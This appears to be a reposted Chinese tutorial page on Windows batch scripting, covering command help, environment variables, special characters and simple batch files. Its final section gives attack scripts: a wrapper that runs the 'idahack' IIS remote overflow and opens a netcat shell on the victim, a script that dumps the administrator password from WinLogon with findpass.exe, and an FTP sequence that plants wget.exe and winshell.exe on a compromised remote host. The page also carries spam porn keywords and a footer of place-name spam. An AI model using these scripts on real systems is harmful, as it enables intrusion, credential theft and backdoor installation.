国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > BAT > 正文

批處理BAT加強函數代碼使用說明

2020-03-29 20:15:22
字體:
來源:轉載
供稿:網友
文章結構
1. 所有內置命令的幫助信息
2. 環境變量的概念
3. 內置的特殊符號(實際使用中間注意避開)
4. 簡單批處理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

######################################################################
1. 所有內置命令的幫助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面將所有上面的幫助輸出到一個文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 環境變量的概念
######################################################################
_____________________________________________________________________________
C:/Program Files>set
ALLUSERSPROFILE=C:/document. and Settings/All Users
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=FIRST
ComSpec=C:/WINNT/system32/cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:/WINNT/system32/os2/dll;
Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:/Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:/WINNT
TEMP=C:/WINNT/TEMP
TMP=C:/WINNT/TEMP
USERPROFILE=C:/document. and Settings/Default User
windir=C:/WINNT
_____________________________________________________________________________

path: 表示可執行程序的搜索路徑. 我的建議是你把你的程序copy 到
%windir%/system32/. 這個目錄里面. 一般就可以自動搜索到.
語法: copy mychenxu.exe %windir%/system32/.
使用點(.) 便于一目了然
對環境變量的引用使用(英文模式,半角)雙引號
%windir% 變量
%%windir%% 二次變量引用.
我們常用的還有
%temp% 臨時文件目錄
%windir% 系統目錄
%errorlevel% 退出代碼

輸出文件到臨時文件目錄里面.這樣便于當前目錄整潔.

對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file文件夾操作
C:/>dir p*
C:/ 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 <DIR> Program Files
1 個文件 2,164 字節
1 個目錄 1,505,997,824 可用字節

C:/>cd pro*
C:/Program Files>

C:/>
C:/>cd "Program Files"
C:/Program Files>


######################################################################
3. 內置的特殊符號(實際使用中間注意避開)
######################################################################
微軟里面內置了下列字符不能夠在創建的文件名中間使用
con nul aux / / │ ││ && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, │, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作為前導字符表示.或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (│), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 創建一個文件
>> 追加到一個文件后面
@ 前綴字符.表示執行時本行在cmd里面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字符. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的缺省分隔符號.
; 注釋,表示后面為注釋
: 標號作用
│ 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:/*.exe & dir d:/*.exe & dir e:/*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令后將不執行后面的命令,如果一直沒有出錯則一直執行完所有命令;
││ Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]
當碰到執行正確的命令后將不執行后面的命令,如果沒有出現正確的命令則一直執行完所有命令;

常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行注釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。


######################################################################
4. 簡單批處理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo是追加
第三個echo將清空a.txt 重新創建 a.txt

netstat -n │ find "3389"
這個將要列出所有連接3389的用戶的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示注釋語句,本行顯示
@rem 不顯示注釋語句,本行不顯示
@if exist %windir%/system32/find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%/system32/fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我們以具體的一個idahack程序就是ida遠程溢出為例子.應該是很簡單的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%/system32/idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%/system32/nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%/_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%/_tmp
@find "good luck" %temp%/_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%/_tmp
@type %temp%/_tmp
@find "good luck" %temp%/_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我們再來第二個文件.就是得到administrator的口令.
大多數人說得不到.其實是自己的沒有輸入正確的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%/system32/findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%/system32/pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%/_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%/_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%/_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%/_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%/_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

還有一個就是已經通過telnet登陸了一個遠程主機.怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w
 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 云霄县| 衡南县| 五华县| 南宁市| 靖西县| 清涧县| 巴林左旗| 十堰市| 江安县| 桐柏县| 兴文县| 金堂县| 屏山县| 南陵县| 高淳县| 阳东县| 同江市| 鸡西市| 罗田县| 淳化县| 青浦区| 安仁县| 庆城县| 时尚| 南江县| 临猗县| 武隆县| 康保县| 寿阳县| 泗阳县| 泰安市| 泸州市| 慈溪市| 丘北县| 屯昌县| 灵丘县| 南岸区| 修文县| 湖北省| 昭平县| 新乡县|